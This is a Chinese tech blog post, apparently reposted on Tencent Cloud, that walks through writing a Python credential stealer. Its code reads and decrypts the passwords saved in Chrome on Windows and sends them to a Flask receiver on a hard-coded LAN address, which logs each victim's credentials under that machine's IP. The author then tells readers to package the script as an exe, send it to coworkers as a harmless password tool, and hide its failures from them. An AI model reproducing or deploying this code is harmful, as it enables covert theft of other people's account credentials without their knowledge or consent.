专栏首页Python爬虫与数据挖掘使用python假装装黑客,批量破解朋友的网站密码

使用python假装装黑客,批量破解朋友的网站密码

本文转自公众号:清风Python

如何破解iphone登陆密码

今天看了一篇关于如何破解iphone手机密码的文章,瞬间觉得科学技术不是第一生产力,why?

根据“可靠消息”称,即便美国FBI也无法轻易的对iphone手机进行暴力破解,当然美国有一家黑客公司可针对iphone进行破解,单收费过万美金。

那么铺天盖地的iphone手机密码破解“黑客”是怎么做的? 无非是骗,他们假装成各类官方人员告诉你发现你的iphone手机存在异常,需要远程告知apple_id帮你追回手机,呵呵…. 可是,这个梗和今天的文章有什么关系呢?

黑客的自我修养

随着Python的活跃,各大平台都在鼓吹,甚至已经出了关于python黑客入门的书籍。 也许做一个黑客难如登天,那不如我们换个思路,去假装做一个伪黑客如何?

前几天看帖子,发现我们使用浏览器的时候,当登陆一个需要输入用户名密码的网站时,在你登陆成功后,系统会提示你是否保存密码,如果点击确认,浏览器将会把我们本次输入的密码,存储在浏览器中,待下次登录时便可以免密登录。 那么,这些密码是怎么保存的,又存储在哪里呢?

Chrome浏览器

也许很多人会说,360浏览器、QQ浏览器,这些国产的加壳浏览器不论美观还是所谓的安全方面都做的很符合国人需求。但如果你的工作与IT挂钩,无疑Chrome将是很多朋友的首选。当然这篇文章不是介绍Chrome浏览器的使用手册,今天我们主要来看看Chrome浏览器的密码存储机制。

查看Chrome存储的密码表单

点击你们的Chrome浏览器右上角,进入设置->高级->管理密码(根据浏览器版本不同,可能存在部分差异),亦或者在Chrome浏览器中输入chrome://settings/passwords。你会看到很多已保存过的密码表单信息,当然如果你要查看密码详情,就要输入电脑的系统管理员密码。

那么,Chrome的密码是以什么方式进行存储的呢?SQLite… 很多嵌入式产品中,都会使用SQLite数据库进行数据存储,它占用资源低,数据库即文件,又支持sql语法的增删改查,简直不要太方便

SQLite在哪,又该怎么查询?

首先,进入我的电脑,地址栏中输入%LOCALAPPDATA%,进入app的数据存储路径:

C:\Users\Administrator\AppData\Local

之后进入chrome浏览器的密码数据库统一地址为:

Google\Chrome\User Data\Default\Login Data

查看Chrome浏览器存储的密码

既然拿到了SQLite数据库文件,我们随便找个sqlite工具,就能打开这个数据库了! 这里我使用sqlitestudio:

数据库信息展示.png

打开数据库,我们看到有三张表: logins 、meta、 stats 其中logins中就存储这你保存的网址、用户名、密码数据,分别是: signon_realm,username_value,password_value 但问题来了,password_value的字段看着是空的啊?因为加密了! 如何解密?网上查了下:

CryptUnprotectData数据可以在win32crypt中找到,要使用该模块,需要进行安装: pip install pywin32 万事俱备,就差撸代码了!

代码实现

import os
import shutil
import sqlite3
import win32crypt

db_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data')

tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')
print(tmp_file)
if os.path.exists(tmp_file):
    os.remove(tmp_file)
shutil.copyfile(db_file_path, tmp_file)

conn = sqlite3.connect(tmp_file)
for row in conn.execute('select signon_realm,username_value,password_value from logins'):
    ret = win32crypt.CryptUnprotectData(row[2], None, None, N one, 0)
    print('网站:%-50s,用户名:%-20s,密码:%s' % (row[0][:50], row[1], ret[1].decode('gbk')))

conn.close()
os.remove(tmp_file)

通过解密,我们获取到了Chrome浏览器保存的用户名密码,然后保存至文本。

获取到的本地密码.png

之后我们只需要使用pyinstaller -F xxx.py,将代码打包成exe发给同事,就可以在他的电脑上获取密码了! 但,如果咱们的黑客之旅到此为止,那这个伪黑客未免有点low了吧?

数据回传

为什么说要打包成exe?一是可以脱离环境单独执行,二却是为了加壳! 我们在原有的代码基础上,添加如下内容

import requests
try: # 记得添加try except 不然万一你忘记启动Flask程序,岂不是让同事发现了
    requests.post('http://192.168.1.101:9999/index',
                  data=''.join(passwordList).encode('utf-8'))
except:
    pass

最后整理我们的代码:

# -*- coding: utf-8 -*-
# @Author  : 王翔
# @JianShu : 清风Python
# @Date    : 2019/5/18 22:53
# Software : PyCharm
# version:Python 3.6.8
# @File    : ChromePassword.py

import os
import shutil
import sqlite3
import win32crypt
import json
import requests

APP_DATA_PATH = os.environ["LOCALAPPDATA"]
DB_PATH = r'Google\Chrome\User Data\Default\Login Data'


class ChromePassword:

    def __init__(self):
        self.passwordsList = []

    def get_chrome_db(self):
        _full_path = os.path.join(APP_DATA_PATH, DB_PATH)
        _tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')
        if os.path.exists(_tmp_file):
            os.remove(_tmp_file)
        shutil.copyfile(_full_path, _tmp_file)
        self.show_passwords(_tmp_file)

    def show_passwords(self, db_file):
        conn = sqlite3.connect(db_file)
        _sql = '''select signon_realm,username_value,password_value from logins'''
        for row in conn.execute(_sql):
            ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)
            # 密码解析后得到的是字节码,需要进行解码操作
            _info = 'url: %-40s username: %-20s password: %s\n' % \
                    (row[0][:50], row[1], ret[1].decode())
            self.passwordsList.append(_info)
        conn.close()
        os.remove(db_file)

    def save_passwords(self):
        with open('password.txt', 'w', encoding='utf-8') as f:
            f.writelines(self.passwordsList)

    def transfer_passwords(self):
        try:
            # 此处填写远端Flask对应的IP:PORT
            requests.post('http://192.168.1.102:9999/index',
                          data=json.dumps(self.passwordsList))
        except requests.exceptions.ConnectionError:
            pass


if __name__ == '__main__':
    Main = ChromePassword()
    Main.get_chrome_db()
    Main.save_passwords()
    Main.transfer_passwords()

下来,我们在本地写一个最简单的Flask程序,用户获取回传的参数,代码如下:

# -*- coding: utf-8 -*-
# @Author  : 王翔
# @JianShu : 清风Python
# @Date    : 2019/5/18 22:53
# Software : PyCharm
# version:Python 3.6.8
# @File    : ChromePassword.py

from flask import Flask, request
import time
import json

app = Flask(__name__)


@app.route('/index', methods=["GET", "POST"])
def index():
    if request.method == 'POST':
        _txtName = '%s_%s.txt' % (request.remote_addr,
                                  time.strftime('%Y%m%d%H%M%S', time.localtime()))
        with open(_txtName, 'w', encoding='utf-8') as f:
            f.writelines(json.loads(request.data))
    return "小哥,里面玩儿啊"


if __name__ == '__main__':
    # 端口可自行设置
    app.run(host='0.0.0.0', port=9999)

打完收工,就差同事去点击你发给他的exe了。他以为你的工具仅仅把Chrome密码生成txt保存, 其实,在他点击工具的同时,你电脑会获取他传输的数据,并存储在一个ip时间戳的文本中!

Flask回传.png

然后,拿去给他们炫耀吧!

本文分享自微信公众号 - Python爬虫与数据挖掘(crawler_python)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-11-29

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 拔刺 | 三星和台积电代工实力那么强,为什么却设计不出更多超越苹果的芯片?

    首先苹果公司,它是一个设计公司,设计笔记本电脑、平板电脑和手机等一系列电子设备。并且,苹果研发的核心技术一个比一个厉害,A12处理器是目前已知性能最好的手机处理...

    镁客网
  • ​Flutter实战 | 从 0 搭建「网易云音乐」APP(八、我的页面)

    本系列可能会伴随大家很长时间,这里我会从0开始搭建一个「网易云音乐」的APP出来。

    Flutter笔记
  • H5页面判断客户端是iOS或者Android并跳转对应链接唤起APP

    每个客户端都会有自己的 UA (userAgent)标识,可以用 JavaScript 获取客户端标识。

    德顺
  • 拔刺 | 埃隆·马斯克会改变世界吗?

    我们可以先了解马斯克的早年经历。小时候的马斯克,可以说一个学霸,却不太合群,以至于被同龄人欺负。有一次,他被打得送进了医院,结果被人从病床上骗出来,一顿暴打,以...

    镁客网
  • 从6730个微信用户中分析出大家的手机使用习惯

    老表,一个坚持学习的在校生,主要研究Python爬虫、数据分析、可视化、数据挖掘等,个人公众号:简说Python,欢迎关注一起学习。

    小小詹同学
  • 热点 | TensorFlow中国下载量突破200万,开源工具Firebase亮相,一文尽览2018谷歌开发者大会!

    今日上午,2018谷歌开发者大会在上海举行。长达近两小时的大会中,谷歌重点介绍了其机器学习开源框架TensorFlow、Google Wear OS、Fireb...

    镁客网
  • <script>属性async和defer的区别

    async:可选。表示应该立即下载脚本,但不应妨碍页面中的其他操作,比如下载其他资源或 等待加载其他脚本。只对外部脚本文件有效。

    TimothyJia
  • 占据手机市场62%利润的苹果,为什么那么贵?

    昨天,国行iPhone XS/XS Max正式开售,尽管为中国市场特意加持了双卡双待功能,但苹果店前的“排队盛况”依然大不如从前。对于这两款新机,全球用户的反馈...

    镁客网
  • iOS 人脸检测和实时滤镜拍摄

    且行且珍惜_iOS
  • Apple 的设计哲学 · 交互篇

    如今,当我们谈论起产品设计、谈论起用户体验,总是离不开苹果,它所坚持的设计哲学是对细节和质量的极致追求。下面,我就带大家看看 Apple 在交互方面做的努力。

    用户5009027

扫码关注云+社区

领取腾讯云代金券